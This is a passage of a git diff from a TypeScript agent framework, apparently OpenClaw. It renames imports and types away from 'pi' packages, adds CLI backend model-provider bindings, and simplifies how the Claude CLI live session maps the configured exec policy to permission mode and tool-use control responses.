streamWithPayloadPatch } from "./pi-embedded-runner/stream-payload-utils.js"; -import { resolveEmbeddedAgentStreamFn } from "./pi-embedded-runner/stream-resolution.js"; -import { discoverAuthStorage, discoverModels } from "./pi-model-discovery.js"; import { registerProviderStreamForModel } from "./provider-stream.js"; import { stripToolResultDetails } from "./session-transcript-repair.js"; import { sanitizeImageBlocks } from "./tool-images.js"; @@ -246,7 +245,7 @@ async function resolveRuntimeModel(params: { storePath?: string; isNewSession: boolean; }): Promise<{ - model: Model; + model: Model; authProfileId?: string; authProfileIdSource?: "auto" | "user"; }> { diff --git a/src/agents/bundle-mcp-config.ts b/src/agents/bundle-mcp-config.ts index b424b6989e8..0049a856d29 100644 --- a/src/agents/bundle-mcp-config.ts +++ b/src/agents/bundle-mcp-config.ts @@ -24,7 +24,7 @@ const OPENCLAW_TRANSPORT_TO_CLI_BUNDLE_TYPE: Record = { /** * User config stores OpenClaw MCP transport names, while CLI backends such as * Claude Code and Gemini expect a downstream `type` field. Keep this adapter - * out of the generic merge path because embedded Pi still consumes the raw + * out of the generic merge path because embedded OpenClaw still consumes the raw * OpenClaw `transport` shape directly. */ export function toCliBundleMcpServerConfig(server: BundleMcpServerConfig): BundleMcpServerConfig { diff --git a/src/agents/cache-trace.ts b/src/agents/cache-trace.ts index ed1e065aad3..a06fd57a2dd 100644 --- a/src/agents/cache-trace.ts +++ b/src/agents/cache-trace.ts @@ -1,6 +1,5 @@ import crypto from "node:crypto"; import path from "node:path"; -import type { AgentMessage, StreamFn } from "@earendil-works/pi-agent-core"; import { resolveStateDir } from "../config/paths.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import { resolveUserPath } from "../utils.js"; @@ -8,6 +7,7 @@ import { parseBooleanValue } from "../utils/boolean.js"; import { safeJsonStringify } from "../utils/safe-json.js"; import { sanitizeDiagnosticPayload } from "./payload-redaction.js"; import { getQueuedFileWriter, type QueuedFileWriter } from "./queued-file-writer.js"; +import type { AgentMessage, StreamFn } from "./runtime/index.js"; import { stableStringify } from "./stable-stringify.js"; import { buildAgentTraceBase } from "./trace-base.js"; diff --git a/src/agents/chutes-oauth.ts b/src/agents/chutes-oauth.ts index 1959afdb852..0fd2c26fc25 100644 --- a/src/agents/chutes-oauth.ts +++ b/src/agents/chutes-oauth.ts @@ -1,5 +1,5 @@ import { createHash, randomBytes } from "node:crypto"; -import type { OAuthCredentials } from "@earendil-works/pi-ai"; +import type { OAuthCredentials } from "../llm/oauth.js"; import { normalizeOptionalString } from "../shared/string-coerce.js"; const CHUTES_OAUTH_ISSUER = "https://api.chutes.ai"; diff --git a/src/agents/cli-backends.ts b/src/agents/cli-backends.ts index 5e2882c3633..60d21625959 100644 --- a/src/agents/cli-backends.ts +++ b/src/agents/cli-backends.ts @@ -2,7 +2,10 @@ import type { CliBackendConfig } from "../config/types.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import type { ContextEngineHostCapability } from "../context-engine/types.js"; import { resolveRuntimeCliBackends } from "../plugins/cli-backends.runtime.js"; -import { resolvePluginSetupCliBackend } from "../plugins/setup-registry.js"; +import { + resolvePluginSetupCliBackend, + resolvePluginSetupRegistry, +} from "../plugins/setup-registry.js"; import { resolveRuntimeTextTransforms } from "../plugins/text-transforms.runtime.js"; import type { CliBackendAuthEpochMode, @@ -14,16 +17,18 @@ import type { } from "../plugins/types.js"; import { normalizeOptionalLowercaseString } from "../shared/string-coerce.js"; import { uniqueStrings } from "../shared/string-normalization.js"; -import { normalizeProviderId } from "./model-selection.js"; import { mergePluginTextTransforms } from "./plugin-text-transforms.js"; +import { normalizeProviderId } from "./provider-id.js"; type CliBackendsDeps = { resolvePluginSetupCliBackend: typeof resolvePluginSetupCliBackend; + resolvePluginSetupRegistry: typeof resolvePluginSetupRegistry; resolveRuntimeCliBackends: typeof resolveRuntimeCliBackends; }; const defaultCliBackendsDeps: CliBackendsDeps = { resolvePluginSetupCliBackend, + resolvePluginSetupRegistry, resolveRuntimeCliBackends, }; @@ -31,6 +36,7 @@ let cliBackendsDeps: CliBackendsDeps = defaultCliBackendsDeps; export type ResolvedCliBackend = { id: string; + modelProvider?: string; config: CliBackendConfig; bundleMcp: boolean; bundleMcpMode?: CliBundleMcpMode; @@ -53,7 +59,14 @@ type ResolvedCliBackendLiveTest = { dockerBinaryName?: string; }; +export type CliRuntimeModelBackendBinding = { + provider: string; + runtime: string; + pluginId?: string; +}; + type FallbackCliBackendPolicy = { + modelProvider?: string; bundleMcp: boolean; bundleMcpMode?: CliBundleMcpMode; baseConfig?: CliBackendConfig; @@ -94,6 +107,7 @@ function resolveSetupCliBackendPolicy(provider: string): FallbackCliBackendPolic // Setup-registered backends keep narrow CLI paths generic even when the // runtime plugin registry has not booted yet. bundleMcp: entry.backend.bundleMcp === true, + modelProvider: resolveCliBackendModelProvider(entry.backend), bundleMcpMode: normalizeBundleMcpMode( entry.backend.bundleMcpMode, entry.backend.bundleMcp === true, @@ -144,6 +158,98 @@ function resolveRegisteredBackend(provider: string) { .find((entry) => normalizeBackendKey(entry.id) === normalized); } +function resolveCliBackendModelProvider( + backend: Pick, +): string | undefined { + const provider = backend.modelProvider?.trim(); + return provider ? normalizeProviderId(provider) : undefined; +} + +function addCliRuntimeModelBinding( + bindings: Map, + params: { backend: CliBackendPlugin; pluginId?: string }, +): void { + const provider = resolveCliBackendModelProvider(params.backend); + const runtime = normalizeBackendKey(params.backend.id); + if (!provider || !runtime) { + return; + } + bindings.set(`${provider}:${runtime}`, { + provider, + runtime, + ...(params.pluginId ? { pluginId: params.pluginId } : {}), + }); +} + +export function listCliRuntimeModelBackendBindings( + params: { + config?: OpenClawConfig; + env?: NodeJS.ProcessEnv; + includeSetupRegistry?: boolean; + } = {}, +): CliRuntimeModelBackendBinding[] { + const bindings = new Map(); + for (const backend of cliBackendsDeps.resolveRuntimeCliBackends()) { + addCliRuntimeModelBinding(bindings, { + backend, + ...(backend.pluginId ? { pluginId: backend.pluginId } : {}), + }); + } + if (params.includeSetupRegistry === true) { + for (const entry of cliBackendsDeps.resolvePluginSetupRegistry({ + config: params.config, + env: params.env, + }).cliBackends) { + addCliRuntimeModelBinding(bindings, { + backend: entry.backend, + pluginId: entry.pluginId, + }); + } + } + return [...bindings.values()].toSorted((left, right) => + left.provider === right.provider + ? left.runtime.localeCompare(right.runtime) + : left.provider.localeCompare(right.provider), + ); +} + +export function resolveCliRuntimeModelBackendBinding(params: { + provider: string | undefined; + runtime: string | undefined; + config?: OpenClawConfig; + env?: NodeJS.ProcessEnv; +}): CliRuntimeModelBackendBinding | undefined { + const provider = normalizeProviderId(params.provider ?? ""); + const runtime = normalizeBackendKey(params.runtime ?? ""); + if (!provider || !runtime) { + return undefined; + } + const runtimeBinding = listCliRuntimeModelBackendBindings().find( + (binding) => binding.provider === provider && binding.runtime === runtime, + ); + if (runtimeBinding) { + return runtimeBinding; + } + const includeSetupRegistry = params.config !== undefined || params.env !== undefined; + if (!includeSetupRegistry) { + return undefined; + } + return listCliRuntimeModelBackendBindings({ + config: params.config, + env: params.env, + includeSetupRegistry: true, + }).find((binding) => binding.provider === provider && binding.runtime === runtime); +} + +export function isCliRuntimeModelBackendForProvider(params: { + provider: string | undefined; + runtime: string | undefined; + config?: OpenClawConfig; + env?: NodeJS.ProcessEnv; +}): boolean { + return resolveCliRuntimeModelBackendBinding(params) !== undefined; +} + function mergeBackendConfig(base: CliBackendConfig, override?: CliBackendConfig): CliBackendConfig { if (!override) { return { ...base }; @@ -233,6 +339,9 @@ export function resolveCliBackendConfig( } return { id: normalized, + ...(registered.modelProvider + ? { modelProvider: normalizeProviderId(registered.modelProvider) } + : {}), config: { ...config, command }, bundleMcp: registered.bundleMcp === true, bundleMcpMode: normalizeBundleMcpMode( @@ -265,6 +374,7 @@ export function resolveCliBackendConfig( } return { id: normalized, + ...(fallbackPolicy.modelProvider ? { modelProvider: fallbackPolicy.modelProvider } : {}), config: { ...baseConfig, command }, bundleMcp: fallbackPolicy.bundleMcp, bundleMcpMode: fallbackPolicy.bundleMcpMode, @@ -293,6 +403,7 @@ export function resolveCliBackendConfig( } return { id: normalized, + ...(fallbackPolicy?.modelProvider ? { modelProvider: fallbackPolicy.modelProvider } : {}), config: { ...config, command }, bundleMcp: fallbackPolicy?.bundleMcp === true, bundleMcpMode: fallbackPolicy?.bundleMcpMode, diff --git a/src/agents/cli-runner.context-engine.test.ts b/src/agents/cli-runner.context-engine.test.ts index d42c53a3851..28af255128f 100644 --- a/src/agents/cli-runner.context-engine.test.ts +++ b/src/agents/cli-runner.context-engine.test.ts @@ -1,4 +1,4 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; +import type { AgentMessage } from "openclaw/plugin-sdk/agent-core"; import { beforeEach, describe, expect, it, vi } from "vitest"; import type { ContextEngine } from "../context-engine/types.js"; import type { PreparedCliRunContext } from "./cli-runner/types.js"; diff --git a/src/agents/cli-runner.helpers.test.ts b/src/agents/cli-runner.helpers.test.ts index 8c988acc3b8..5e109f934e9 100644 --- a/src/agents/cli-runner.helpers.test.ts +++ b/src/agents/cli-runner.helpers.test.ts @@ -1,6 +1,6 @@ import fs from "node:fs/promises"; import path from "node:path"; -import type { ImageContent } from "@earendil-works/pi-ai"; +import type { ImageContent } from "openclaw/plugin-sdk/llm"; import { beforeEach, describe, expect, it, vi } from "vitest"; import { createSolidPngBuffer } from "../../test/helpers/image-fixtures.js"; import { resolvePreferredOpenClawTmpDir } from "../infra/tmp-openclaw-dir.js"; @@ -14,7 +14,7 @@ import { writeCliImages, writeCliSystemPromptFile, } from "./cli-runner/helpers.js"; -import * as promptImageUtils from "./pi-embedded-runner/run/images.js"; +import * as promptImageUtils from "./embedded-agent-runner/run/images.js"; import type { SandboxFsBridge } from "./sandbox/fs-bridge.js"; import { SYSTEM_PROMPT_CACHE_BOUNDARY } from "./system-prompt-cache-boundary.js"; import * as toolImages from "./tool-images.js"; diff --git a/src/agents/cli-runner.reliability.test.ts b/src/agents/cli-runner.reliability.test.ts index f3ed58c2830..af84981334c 100644 --- a/src/agents/cli-runner.reliability.test.ts +++ b/src/agents/cli-runner.reliability.test.ts @@ -1,7 +1,7 @@ import fs from "node:fs"; import os from "node:os"; import path from "node:path"; -import { CURRENT_SESSION_VERSION } from "@earendil-works/pi-coding-agent"; +import { CURRENT_SESSION_VERSION } from "openclaw/plugin-sdk/agent-sessions"; import { afterEach, describe, expect, it, vi } from "vitest"; import { testing as replyRunTesting, diff --git a/src/agents/cli-runner.test-support.ts b/src/agents/cli-runner.test-support.ts index 565899ad861..ad4c1b1e38f 100644 --- a/src/agents/cli-runner.test-support.ts +++ b/src/agents/cli-runner.test-support.ts @@ -5,7 +5,7 @@ import type { enqueueSystemEvent } from "../infra/system-events.js"; import type { getProcessSupervisor } from "../process/supervisor/index.js"; import { setCliRunnerExecuteTestDeps } from "./cli-runner/execute.js"; import { setCliRunnerPrepareTestDeps } from "./cli-runner/prepare.js"; -import type { EmbeddedContextFile } from "./pi-embedded-helpers.js"; +import type { EmbeddedContextFile } from "./embedded-agent-helpers.js"; import type { WorkspaceBootstrapFile } from "./workspace.js"; type ProcessSupervisor = ReturnType; diff --git a/src/agents/cli-runner.ts b/src/agents/cli-runner.ts index c64aad10675..141e83bb7e2 100644 --- a/src/agents/cli-runner.ts +++ b/src/agents/cli-runner.ts @@ -1,5 +1,3 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; -import { SessionManager } from "@earendil-works/pi-coding-agent"; import type { ReplyPayload } from "../auto-reply/reply-payload.js"; import { SILENT_REPLY_TOKEN } from "../auto-reply/tokens.js"; import { formatErrorMessage } from "../infra/errors.js"; @@ -12,6 +10,8 @@ import { loadCliSessionHistoryMessages, } from "./cli-runner/session-history.js"; import type { PreparedCliRunContext, RunCliAgentParams } from "./cli-runner/types.js"; +import { classifyFailoverReason, isFailoverErrorMessage } from "./embedded-agent-helpers.js"; +import type { EmbeddedAgentRunResult } from "./embedded-agent-runner.js"; import { FailoverError, isFailoverError, resolveFailoverStatus } from "./failover-error.js"; import { bootstrapHarnessContextEngine, @@ -26,13 +26,13 @@ import { runAgentHarnessLlmInputHook, runAgentHarnessLlmOutputHook, } from "./harness/lifecycle-hook-helpers.js"; -import { classifyFailoverReason, isFailoverErrorMessage } from "./pi-embedded-helpers.js"; -import type { EmbeddedPiRunResult } from "./pi-embedded-runner.js"; +import type { AgentMessage } from "./runtime/index.js"; +import { SessionManager } from "./sessions/index.js"; const log = createSubsystemLogger("agents/cli-runner"); function flushSessionManagerFile(sessionManager: SessionManager): void { - (sessionManager as unknown as { _rewriteFile?: () => void })["_rewriteFile"]?.(); + (sessionManager as unknown as { rewriteFile?: () => void }).rewriteFile?.(); } function buildHandledReplyPayloads(reply?: ReplyPayload) { @@ -210,7 +210,7 @@ async function finalizeCliContextEngineTurn(params: { } } -export async function runCliAgent(params: RunCliAgentParams): Promise { +export async function runCliAgent(params: RunCliAgentParams): Promise { // Cron gate must fire before prepareCliRunContext — that call allocates // backend resources released only by runPreparedCliAgent's try…finally. params.onExecutionStarted?.(); @@ -278,7 +278,7 @@ export async function runCliAgent(params: RunCliAgentParams): Promise { +): Promise { const { executePreparedCliRun } = await import("./cli-runner/execute.runtime.js"); const { params } = context; const hookRunner = getGlobalHookRunner(); @@ -353,7 +353,7 @@ export async function runPreparedCliAgent( durationMs: Date.now() - context.started, }); - const buildBlockedBeforeAgentRunResult = (message: string): EmbeddedPiRunResult => ({ + const buildBlockedBeforeAgentRunResult = (message: string): EmbeddedAgentRunResult => ({ payloads: [{ text: message, isError: true }], meta: { durationMs: Date.now() - context.started, @@ -498,7 +498,7 @@ export async function runPreparedCliAgent( const buildCliRunResult = (resultParams: { output: Awaited>; effectiveCliSessionId?: string; - }): EmbeddedPiRunResult => { + }): EmbeddedAgentRunResult => { const text = resultParams.output.text?.trim(); const rawText = resultParams.output.rawText?.trim(); const payloads = text ? [{ text }] : undefined; @@ -777,6 +777,6 @@ export function buildRunClaudeCliAgentParams(params: RunClaudeCliAgentParams): R export async function runClaudeCliAgent( params: RunClaudeCliAgentParams, -): Promise { +): Promise { return runCliAgent(buildRunClaudeCliAgentParams(params)); } diff --git a/src/agents/cli-runner/claude-live-session.ts b/src/agents/cli-runner/claude-live-session.ts index a0d6f08f118..042e509d586 100644 --- a/src/agents/cli-runner/claude-live-session.ts +++ b/src/agents/cli-runner/claude-live-session.ts @@ -1,14 +1,16 @@ import crypto from "node:crypto"; import type { ReplyBackendHandle } from "../../auto-reply/reply/reply-run-registry.js"; import type { CliBackendConfig } from "../../config/types.js"; -import { isRecord } from "../../shared/record-coerce.js"; import { loadExecApprovals, maxAsk, minSecurity, + normalizeExecAsk, resolveExecApprovalsFromFile, + type ExecAsk, + type ExecSecurity, } from "../../infra/exec-approvals.js"; -import { resolveSessionAgentIds } from "../agent-scope.js"; +import { resolveAgentIdFromSessionKey } from "../../routing/session-key.js"; import { createCliJsonlStreamingParser, extractCliErrorMessage, @@ -16,9 +18,8 @@ import { type CliOutput, type CliStreamingDelta, } from "../cli-output.js"; -import { resolveExecDefaults } from "../exec-defaults.js"; +import { classifyFailoverReason } from "../embedded-agent-helpers.js"; import { FailoverError, resolveFailoverStatus } from "../failover-error.js"; -import { classifyFailoverReason } from "../pi-embedded-helpers.js"; import { cliBackendLog } from "./log.js"; import type { PreparedCliRunContext } from "./types.js"; @@ -36,6 +37,7 @@ type ClaudeLiveTurn = { noOutputTimer: NodeJS.Timeout | null; timeoutTimer: NodeJS.Timeout | null; streamingParser: ReturnType; + execPermission: ClaudeLiveExecPermission; resolve: (output: CliOutput) => void; reject: (error: unknown) => void; }; @@ -55,21 +57,7 @@ type ClaudeLiveSession = { cleanup: () => Promise; cleanupDone: boolean; closing: boolean; - controlRequestPolicy: ClaudeLiveControlRequestPolicy; }; -type ClaudeLiveControlRequestPolicy = { - allowNativeBash: boolean; - security: "deny" | "allowlist" | "full"; - ask: "off" | "on-miss" | "always"; - effectivePermissionMode?: string; -}; - -// OpenClaw exec policy is authoritative for Claude live native Bash. Keep -// Claude's launch mode aligned with the effective OpenClaw policy instead of -// letting raw Claude permission args silently relax or tighten it. -const CLAUDE_BYPASS_PERMISSION_MODE = "bypassPermissions"; -const CLAUDE_DEFAULT_PERMISSION_MODE = "default"; -const CLAUDE_PERMISSION_MODE_FLAG = "--permission-mode"; type ClaudeLiveRunResult = { output: CliOutput; }; @@ -78,6 +66,11 @@ type ClaudeLiveOutputLimits = { maxPendingLineChars: number; maxTurnLines: number; }; +type ClaudeLiveExecPermission = { + security: ExecSecurity; + ask: ExecAsk; + permissionMode: "bypassPermissions" | "default"; +}; const CLAUDE_LIVE_IDLE_TIMEOUT_MS = 10 * 60 * 1_000; const CLAUDE_LIVE_MAX_SESSIONS = 16; @@ -199,8 +192,9 @@ export function buildClaudeLiveArgs(params: { backend: CliBackendConfig; systemPrompt: string; useResume: boolean; + permissionMode?: string; }): string[] { - return appendArg( + const liveArgs = appendArg( upsertArgValue( upsertArgValue( upsertArgValue( @@ -217,6 +211,9 @@ export function buildClaudeLiveArgs(params: { ), "--replay-user-messages", ); + return params.permissionMode + ? upsertArgValue(liveArgs, "--permission-mode", params.permissionMode) + : liveArgs; } function buildClaudeLiveKey(context: PreparedCliRunContext): string { @@ -310,7 +307,6 @@ function buildClaudeLiveFingerprint(params: { env: Object.keys(params.env) .toSorted() .map((key) => [key, params.env[key] ? sha256(params.env[key]) : ""]), - controlRequestPolicy: resolveClaudeLiveControlRequestPolicy(params.context, params.argv), }); } @@ -470,172 +466,8 @@ function parseSessionId(parsed: Record): string | undefined { return sessionId || undefined; } -function extractClaudeEffectivePermissionMode(argv: readonly string[]): string | undefined { - // Scan from the end so the last-set --permission-mode wins, matching how - // CLI arg precedence works in practice and how - // extensions/anthropic/cli-shared.ts:normalizeClaudePermissionArgs treats - // operator-provided overrides. - for (let i = argv.length - 1; i >= 0; i -= 1) { - const arg = argv[i] ?? ""; - if (arg === CLAUDE_PERMISSION_MODE_FLAG) { - const value = argv[i + 1]; - if (typeof value === "string" && value.trim().length > 0 && !value.startsWith("-")) { - return value.trim(); - } - continue; - } - if (arg.startsWith(`${CLAUDE_PERMISSION_MODE_FLAG}=`)) { - const value = arg.slice(`${CLAUDE_PERMISSION_MODE_FLAG}=`.length).trim(); - if (value.length > 0 && !value.startsWith("-")) { - return value; - } - } - } - return undefined; -} - -function resolveClaudeLiveControlRequestPolicy( - context: PreparedCliRunContext, - argv?: readonly string[], -): ClaudeLiveControlRequestPolicy { - const execDefaults = resolveExecDefaults({ - cfg: context.params.config, - sessionEntry: context.params.sessionEntry, - agentId: context.params.agentId, - sessionKey: context.params.sessionKey, - }); - const effectiveAgentId = resolveSessionAgentIds({ - sessionKey: context.params.sessionKey, - config: context.params.config, - agentId: context.params.agentId, - }).sessionAgentId; - const approvals = resolveExecApprovalsFromFile({ - file: loadExecApprovals(), - agentId: effectiveAgentId, - overrides: { - security: execDefaults.security, - ask: execDefaults.ask, - }, - }); - const security: ClaudeLiveControlRequestPolicy["security"] = minSecurity( - execDefaults.security, - approvals.agent.security, - ); - const ask: ClaudeLiveControlRequestPolicy["ask"] = maxAsk(execDefaults.ask, approvals.agent.ask); - // Effective permission mode starts from argv so we can detect when the live - // launch needs to be normalized back to OpenClaw's effective exec policy. - const argvMode = argv ? extractClaudeEffectivePermissionMode(argv) : undefined; - const synthesizedMode = - security === "full" && ask === "off" ? CLAUDE_BYPASS_PERMISSION_MODE : undefined; - const effectivePermissionMode = argvMode ?? synthesizedMode; - const allowNativeBash = security === "full" && ask === "off"; - return { - allowNativeBash, - security, - ask, - ...(effectivePermissionMode ? { effectivePermissionMode } : {}), - }; -} - -function shouldForceClaudeLivePermissionPrompt(policy: ClaudeLiveControlRequestPolicy): boolean { - return ( - (policy.security !== "full" || policy.ask !== "off") && - policy.effectivePermissionMode !== CLAUDE_DEFAULT_PERMISSION_MODE - ); -} - -function shouldForceClaudeLiveBypass(policy: ClaudeLiveControlRequestPolicy): boolean { - return ( - policy.security === "full" && - policy.ask === "off" && - policy.effectivePermissionMode !== CLAUDE_BYPASS_PERMISSION_MODE - ); -} - -function writeClaudeLiveControlResponse( - session: ClaudeLiveSession, - response: Record, -): void { - const stdin = session.managedRun.stdin; - if (!stdin) { - closeLiveSession( - session, - "abort", - new Error("Claude CLI live session stdin is unavailable for control response"), - ); - return; - } - stdin.write(`${JSON.stringify(response)}\n`, (error) => { - if (error) { - closeLiveSession(session, "abort", error); - } - }); -} - -function buildClaudeLivePermissionResult( - session: ClaudeLiveSession, - request: Record, -): Record { - const toolName = typeof request.tool_name === "string" ? request.tool_name : ""; - const toolUseID = typeof request.tool_use_id === "string" ? request.tool_use_id : undefined; - if (toolName === "Bash" && session.controlRequestPolicy.allowNativeBash) { - return { - behavior: "allow", - updatedInput: isRecord(request.input) ? request.input : {}, - ...(toolUseID ? { toolUseID } : {}), - }; - } - const permissionModeNote = session.controlRequestPolicy.effectivePermissionMode - ? `, permission-mode=${session.controlRequestPolicy.effectivePermissionMode}` - : ""; - const message = - toolName === "Bash" - ? `OpenClaw denied Claude native Bash because the effective exec policy is security=${session.controlRequestPolicy.security}, ask=${session.controlRequestPolicy.ask}${permissionModeNote}; this bridge only auto-allows Bash when OpenClaw exec is full/no-ask.` - : `OpenClaw denied Claude native ${toolName || "tool"}; this bridge only maps Claude native Bash permission prompts to OpenClaw exec policy. Use OpenClaw MCP tools instead.`; - return { - behavior: "deny", - message, - ...(toolUseID ? { toolUseID } : {}), - decisionClassification: "user_reject", - }; -} - -function handleClaudeLiveControlRequest( - session: ClaudeLiveSession, - parsed: Record, -): void { - const requestId = typeof parsed.request_id === "string" ? parsed.request_id : ""; - const request = isRecord(parsed.request) ? parsed.request : null; - if (!requestId || !request) { - cliBackendLog.warn("claude live control_request ignored: malformed request"); - return; - } - if (request.subtype === "can_use_tool") { - const permissionResult = buildClaudeLivePermissionResult(session, request); - const toolName = typeof request.tool_name === "string" ? request.tool_name : "unknown"; - cliBackendLog.info( - `claude live control_request: subtype=can_use_tool tool=${toolName} decision=${permissionResult.behavior as string}`, - ); - writeClaudeLiveControlResponse(session, { - type: "control_response", - response: { - subtype: "success", - request_id: requestId, - response: permissionResult, - }, - }); - return; - } - const subtype = typeof request.subtype === "string" ? request.subtype : "unknown"; - cliBackendLog.warn(`claude live control_request denied: unsupported subtype=${subtype}`); - writeClaudeLiveControlResponse(session, { - type: "control_response", - response: { - subtype: "error", - request_id: requestId, - error: `OpenClaw Claude live bridge does not support control request subtype '${subtype}'.`, - }, - }); +function isRecord(value: unknown): value is Record { + return Boolean(value && typeof value === "object" && !Array.isArray(value)); } function normalizePositiveInt( @@ -670,6 +502,44 @@ function resolveClaudeLiveOutputLimits(backend: CliBackendConfig): ClaudeLiveOut }; } +function readConfiguredExecPolicy(context: PreparedCliRunContext): { + security: ExecSecurity; + ask: ExecAsk; + agentId: string; +} { + const agentId = context.params.agentId ?? resolveAgentIdFromSessionKey(context.params.sessionKey); + const agentExec = context.params.config?.agents?.list?.find((agent) => agent.id === agentId) + ?.tools?.exec; + const exec = agentExec ?? context.params.config?.tools?.exec; + const security = exec?.security ?? "full"; + const configuredAsk = exec?.ask ?? "off"; + const sessionAsk = normalizeExecAsk(context.params.sessionEntry?.execAsk); + return { + agentId, + security, + ask: sessionAsk ? maxAsk(configuredAsk, sessionAsk) : configuredAsk, + }; +} + +function resolveClaudeLiveExecPermission(context: PreparedCliRunContext): ClaudeLiveExecPermission { + const configured = readConfiguredExecPolicy(context); + const approvals = resolveExecApprovalsFromFile({ + file: loadExecApprovals(), + agentId: configured.agentId, + overrides: { + security: configured.security, + ask: configured.ask, + }, + }); + const security = minSecurity(configured.security, approvals.agent.security); + const ask = maxAsk(configured.ask, approvals.agent.ask); + return { + security, + ask, + permissionMode: security === "full" && ask === "off" ? "bypassPermissions" : "default", + }; +} + function parseClaudeLiveJsonLine( session: ClaudeLiveSession, trimmed: string, @@ -709,6 +579,51 @@ function createResultError( }); } +function writeClaudeLiveControlResponse(session: ClaudeLiveSession, response: unknown): void { + const stdin = session.managedRun.stdin; + if (!stdin) { + throw new Error("Claude CLI live session stdin is unavailable"); + } + stdin.write(`${JSON.stringify(response)}\n`); +} + +function handleClaudeLiveControlRequest( + session: ClaudeLiveSession, + turn: ClaudeLiveTurn, + parsed: Record, +): void { + if (parsed.type !== "control_request" || !isRecord(parsed.request)) { + return; + } + const request = parsed.request; + if (request.subtype !== "can_use_tool") { + return; + } + const requestId = typeof parsed.request_id === "string" ? parsed.request_id : ""; + if (!requestId) { + return; + } + const toolUseId = typeof request.tool_use_id === "string" ? request.tool_use_id : undefined; + const allowed = turn.execPermission.security === "full" && turn.execPermission.ask === "off"; + writeClaudeLiveControlResponse(session, { + type: "control_response", + response: { + subtype: "success", + request_id: requestId, + response: allowed + ? { + behavior: "allow", + ...(toolUseId ? { toolUseID: toolUseId } : {}), + } + : { + behavior: "deny", + decisionClassification: "user_reject", + message: `OpenClaw exec policy denied Claude native tool use (security=${turn.execPermission.security}, ask=${turn.execPermission.ask}).`, + }, + }, + }); +} + function handleClaudeLiveLine(session: ClaudeLiveSession, line: string): void { const turn = session.currentTurn; const trimmed = line.trim(); @@ -719,13 +634,6 @@ function handleClaudeLiveLine(session: ClaudeLiveSession, line: string): void { if (!parsed) { return; } - if (parsed.type === "control_request") { - handleClaudeLiveControlRequest(session, parsed); - return; - } - if (parsed.type === "control_response") { - return; - } if (session.drainingAbortedTurn) { if (parsed.type === "result") { const turnToClear = session.currentTurn; @@ -757,6 +665,7 @@ function handleClaudeLiveLine(session: ClaudeLiveSession, line: string): void { turn.rawLines.push(trimmed); turn.streamingParser.push(`${trimmed}\n`); turn.sessionId = parseSessionId(parsed) ?? turn.sessionId; + handleClaudeLiveControlRequest(session, turn, parsed); if (parsed.type !== "result") { return; } @@ -935,7 +844,6 @@ async function createClaudeLiveSession(params: { cleanup: params.cleanup, cleanupDone: false, closing: false, - controlRequestPolicy: resolveClaudeLiveControlRequestPolicy(params.context, params.argv), }; void managedRun.wait().then( (exit) => handleClaudeExit(session, exit.exitCode), @@ -957,6 +865,7 @@ function createTurn(params: { noOutputTimeoutMs: number; onAssistantDelta: (delta: CliStreamingDelta) => void; session: ClaudeLiveSession; + execPermission: ClaudeLiveExecPermission; resolve: (output: CliOutput) => void; reject: (error: unknown) => void; }): ClaudeLiveTurn { @@ -973,6 +882,7 @@ function createTurn(params: { providerId: params.context.backendResolved.id, onAssistantDelta: params.onAssistantDelta, }), + execPermission: params.execPermission, resolve: params.resolve, reject: params.reject, }; @@ -1041,25 +951,17 @@ export async function runClaudeLiveSessionTurn(params: { }): Promise { const key = buildClaudeLiveKey(params.context); const resumeCapable = Boolean(params.context.preparedBackend.backend.resumeArgs?.length); - let liveArgs = buildClaudeLiveArgs({ - args: params.args, - backend: params.context.preparedBackend.backend, - systemPrompt: params.context.systemPrompt, - useResume: params.useResume, - }); - let argv = [params.context.preparedBackend.backend.command, ...liveArgs]; - const launchPolicy = resolveClaudeLiveControlRequestPolicy(params.context, argv); - if (shouldForceClaudeLivePermissionPrompt(launchPolicy)) { - liveArgs = upsertArgValue( - liveArgs, - CLAUDE_PERMISSION_MODE_FLAG, - CLAUDE_DEFAULT_PERMISSION_MODE, - ); - argv = [params.context.preparedBackend.backend.command, ...liveArgs]; - } else if (shouldForceClaudeLiveBypass(launchPolicy)) { - liveArgs = upsertArgValue(liveArgs, CLAUDE_PERMISSION_MODE_FLAG, CLAUDE_BYPASS_PERMISSION_MODE); - argv = [params.context.preparedBackend.backend.command, ...liveArgs]; - } + const execPermission = resolveClaudeLiveExecPermission(params.context); + const argv = [ + params.context.preparedBackend.backend.command, + ...buildClaudeLiveArgs({ + args: params.args, + backend: params.context.preparedBackend.backend, + systemPrompt: params.context.systemPrompt, + useResume: params.useResume, + permissionMode: execPermission.permissionMode, + }), + ]; const fingerprint = buildClaudeLiveFingerprint({ context: params.context, argv, @@ -1159,6 +1061,7 @@ export async function runClaudeLiveSessionTurn(params: { noOutputTimeoutMs: params.noOutputTimeoutMs, onAssistantDelta: params.onAssistantDelta, session: liveSession, + execPermission, resolve, reject, }); diff --git a/src/agents/cli-runner/execute.ts b/src/agents/cli-runner/execute.ts index 8ffeeceac5d..1ccac83dd95 100644 --- a/src/agents/cli-runner/execute.ts +++ b/src/agents/cli-runner/execute.ts @@ -18,8 +18,8 @@ import { parseCliOutput, type CliOutput, } from "../cli-output.js"; +import { classifyFailoverReason } from "../embedded-agent-helpers.js"; import { FailoverError, resolveFailoverStatus } from "../failover-error.js"; -import { classifyFailoverReason } from "../pi-embedded-helpers.js"; import { applyPluginTextReplacements } from "../plugin-text-transforms.js"; import { applySkillEnvOverridesFromSnapshot } from "../skills.js"; import { runClaudeLiveSessionTurn, shouldUseClaudeLiveSession } from "./claude-live-session.js"; diff --git a/src/agents/cli-runner/helpers.system-prompt.test.ts b/src/agents/cli-runner/helpers.system-prompt.test.ts index b7429537847..422775355df 100644 --- a/src/agents/cli-runner/helpers.system-prompt.test.ts +++ b/src/agents/cli-runner/helpers.system-prompt.test.ts @@ -35,14 +35,14 @@ describe("buildCliAgentSystemPrompt", () => { expect(prompt).not.toContain("Do not poll `subagents list` / `sessions_list` in a loop"); }); - it("uses CLI backend tool fallback instead of PI tool assumptions", () => { + it("uses CLI backend tool fallback instead of OpenClaw tool assumptions", () => { const prompt = buildCliAgentSystemPrompt({ workspaceDir: "/tmp/openclaw", tools: [], modelDisplay: "test/model", }); - expect(prompt).not.toContain("Pi lists the standard tools above"); + expect(prompt).not.toContain("OpenClaw lists the standard tools above"); expect(prompt).not.toContain("This runtime enables:"); expect(prompt).not.toContain("For 